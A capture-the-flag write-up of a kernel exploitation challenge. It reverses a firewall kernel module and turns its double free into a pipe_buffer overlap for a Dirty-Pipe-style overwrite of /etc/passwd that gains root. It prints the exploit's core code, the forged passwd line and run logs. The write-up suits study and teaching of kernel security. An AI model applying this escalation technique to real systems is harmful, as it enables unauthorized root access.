- Event: b01lers CTF 2026
- Category:
pwn - Challenge:
pwn/throughthewall - Files:
bzImage,initramfs.cpio.gz,start.sh - Remote:
ncat --ssl throughthewall.opus4-7.b01le.rs 8443 - Flag:
bctf{spray_those_dirty_pipes}
This challenge was a kernel pwn packaged as a bootable QEMU image. The archive gave a kernel, an initramfs, and a launcher script. The remote service wrapped the same VM behind TLS and a proof-of-work gate, then dropped us into a BusyBox shell as the unprivileged ctf user. The only real goal was to turn that shell into root and read /flag.txt.
The solve split into two clean parts. The kernel side was a small, fairly readable bug in firewall.ko. The annoying part was remote delivery: the original exploit binary worked locally, but it was far too large to upload reliably through the noisy BusyBox shell. Once that transport problem was reduced, the remote flag followed immediately.
Challenge Setup#
start.sh showed the VM configuration right away:
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel ./bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-smp 2 \
-initrd ./initramfs.cpio.gz \
-monitor /dev/null \
-sThat is a good kernel-challenge baseline: KASLR, SMEP, SMAP, PTI, no GUI, serial console only. I did not need to fight the kernel mitigations directly because the module bug led to a logic-style privilege escalation instead of a ROP chain.
The initramfs was the next important artifact. After unpacking it, init made the execution model obvious:
- mount
proc,sysfs, anddevtmpfs insmod /home/ctf/firewall.ko- create
/flag.txtas root-only - build
/etc/passwdwithrootandctf chown -R 1000:1000 /home/ctf- loop forever in
/bin/drop_priv
The passwd file was especially useful:
root:x:0:0:roooooooooooooooooooooooooooooooooooooooot:/root:/bin/sh
ctf:x:1000:1000::/home/ctf:/bin/shThat immediately suggested a Dirty-Pipe-style endgame if I could corrupt a pipe_buffer: overwrite the cached /etc/passwd page, turn ctf into uid 0, then use su ctf -c 'cat /flag.txt'.
Reversing firewall.ko#
The module was not stripped, which made the first pass unusually quick. readelf -s exposed the symbols I cared about:
fw_add_rulefw_show_rulefw_edit_rulefirewall_ioctlfirewall_ioctl.cold
Strings and a light disassembly pass were enough to recover the ioctl interface:
#define FW_IOC_ADD 0x41004601UL
#define FW_IOC_DEL 0x40044602UL
#define FW_IOC_EDIT 0x44184603UL
#define FW_IOC_SHOW 0x84184604ULThe rule objects came from a kmalloc-1k sized allocation:
struct rule {
uint32_t src_ip; // +0x00
uint32_t dst_ip; // +0x04
uint16_t port; // +0x08
uint16_t action; // +0x0a
char desc[0x3f4]; // +0x0c
};The EDIT and SHOW ioctls used a request wrapper that carried an index, an offset, a length, and up to 0x400 bytes of data:
struct fw_req {
uint32_t idx; // +0x00
uint32_t pad; // +0x04
uint64_t off; // +0x08
uint64_t len; // +0x10
uint8_t data[0x400]; // +0x18
};The important pivot came in the delete path. firewall_ioctl.cold freed rules[idx] and printed it again afterward, but never cleared the global pointer:
kfree(rules[idx]);
printk(... rules[idx] ...);That one omission gave three primitives at once:
SHOWon a deleted rule became a use-after-free read.EDITon a deleted rule became a use-after-free write.- deleting the same index twice became a double free.
The double free was the real exploit primitive. Local testing with a small ioctl helper confirmed that the second DEL succeeded and that two later allocations could alias the same slab object.
Turning the Double Free Into a Pipe Overlap#
The trick was to aim the duplicate kmalloc-1k entry at a kernel object we could exploit from userland. pipe_buffer[16] is a very good candidate here: the pipe ring allocation also lands in kmalloc-1k, and once one pipe_buffer is backed by a page-cache page, flipping the PIPE_BUF_FLAG_CAN_MERGE bit recreates the classic Dirty Pipe write-into-read-only-file behavior.
The exploitation sequence was:
- add rule 0
- delete rule 0
- delete rule 0 again
- allocate one live alias rule to consume the first free-list entry
- create a pipe so the pipe ring consumes the second free-list entry
- splice one byte from
/etc/passwdinto the pipe - use
SHOWon the aliased rule to read the overlappedstruct pipe_buffer - use
EDITon the aliased rule to setPIPE_BUF_FLAG_CAN_MERGE - write a replacement
ctfpasswd line through the pipe - run
su ctf -c 'cat /flag.txt'
The core exploit logic reduced to this:
fw_add(fd, "1.1.1.1 2.2.2.2 80 1 ALLOW");
fw_del(fd, 0);
fw_del(fd, 0);
alias_idx = fw_add(fd, "3.3.3.3 4.4.4.4 81 1 ALLOW");
pipe(pipefd);
passwd_fd = open("/etc/passwd", O_RDONLY);
target_off = find_ctf_line(passwd_fd);
splice_off = target_off - 1;
splice(passwd_fd, &splice_off, pipefd[1], NULL, 1, 0);
fw_show(fd, alias_idx, 0, sizeof(pb), &pb);
pb.flags |= 0x10; /* PIPE_BUF_FLAG_CAN_MERGE */
fw_edit(fd, alias_idx, 24, &pb.flags, sizeof(pb.flags));
write(pipefd[1], "ctf::0:0:AAAAAAAAAAA:/root:/bin/sh", 35);
execve("/bin/su", argv, envp);The replacement line was chosen so its length matched the original ctf line. That matters because Dirty Pipe is overwriting bytes in place, not growing the file:
original: ctf:x:1000:1000::/home/ctf:/bin/sh
replacement: ctf::0:0:AAAAAAAAAAA:/root:/bin/shOnce this worked locally, the guest printed the placeholder flag from the unpacked initramfs:
[*] trigger double-free
[+] passwd overwritten, reading flag
bctf{fake_flag}At that point the kernel side was done.
Remote Delivery Was the Real Problem#
The first exploit binary was a normal statically linked glibc executable. It worked locally, but it was much too large for a reliable shell upload over the remote BusyBox session:
- raw ELF:
743552bytes - gzipped:
328987bytes - base64:
438652bytes
The remote shell had two quirks that made this painful:
- the first post-boot command often lost leading characters
- the prompt emitted
\x1b[6ncursor-position queries and generally behaved like a noisy serial console
Streaming hundreds of printf >> file lines into that environment was fragile. The exploit logic was already correct, so the shortest path was not to redesign the kernel attack. The shortest path was to make the payload tiny.
Rewriting the Payload as a Tiny Static ELF#
I rewrote the exploit as exploit_tiny.c, a syscall-only x86-64 binary with no libc at all. It uses a tiny _start, a handful of raw syscall wrappers, and small local helpers for memcpy, memset, and string scanning. That dropped the artifact size dramatically:
- raw ELF:
12808bytes - gzipped:
1532bytes - base64 upload:
2052bytes
That change removed the transport pressure immediately. Instead of appending hundreds of chunks, the remote uploader could send a short heredoc, verify the file, and run it.
The final solve_remote.py transport logic did four things that mattered:
- keep one sacrificial first command:
DUMMYMARKER - upload the gzip-wrapped payload with a heredoc
- synchronize every stage with explicit markers like
__UPLOAD__,__DEC__,__GZ__, and__READY__ - verify both the gzip and the final ELF before execution
The verification stage looked like this on the remote host:
2052 /tmp/exploit.gz.b64
__DEC__:0
1532 /tmp/exploit.gz
f87441e30a316f60462209dcd54a3a57598c4042a9510cc87a299109a0cfb30d /tmp/exploit.gz
__GZ__:0
12808 /tmp/exploit
7f 45 4c 46
__READY__:0Those checks were important because they removed all ambiguity. If the exploit failed after that point, it would have been a kernel issue. In practice, once the transport was trustworthy, the exploit landed immediately.
Final Remote Run#
This was the successful remote transcript, trimmed to the lines that actually mattered:
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAFfkA==.vjG7q57lHYKCpyQ978gr/g==
solution: <solved locally>
BusyBox v1.35.0 (Debian 1:1.35.0-4+b7) built-in shell (ash)
sh: can't access tty; job control turned off
~ $ DUMMYMARKER
sh: DUMMYMARKER: not found
~ $ stty -echo; echo __STTY__:$?
__STTY__:0
...
~ $ [*] trigger double-free
[+] passwd overwritten, reading flag
bctf{spray_those_dirty_pipes}The flag was:
bctf{spray_those_dirty_pipes}Takeaway#
The kernel bug itself was small and honest: free a pointer, forget to null it, and a user-facing ioctl table turns that into UAF read, UAF write, and double free. The nicest part of the challenge was the exploitation path after that. Instead of forcing a full kernel ROP chain under SMEP and SMAP, it rewarded noticing that kmalloc-1k plus pipe_buffer plus /etc/passwd gave a much shorter route.
The part that took real cleanup was the remote wrapper. Once the exploit binary was reduced from a large glibc static to a syscall-only 12 KB payload, the remote side stopped being a guessing game and became a normal integrity-checked upload followed by a clean root escalation.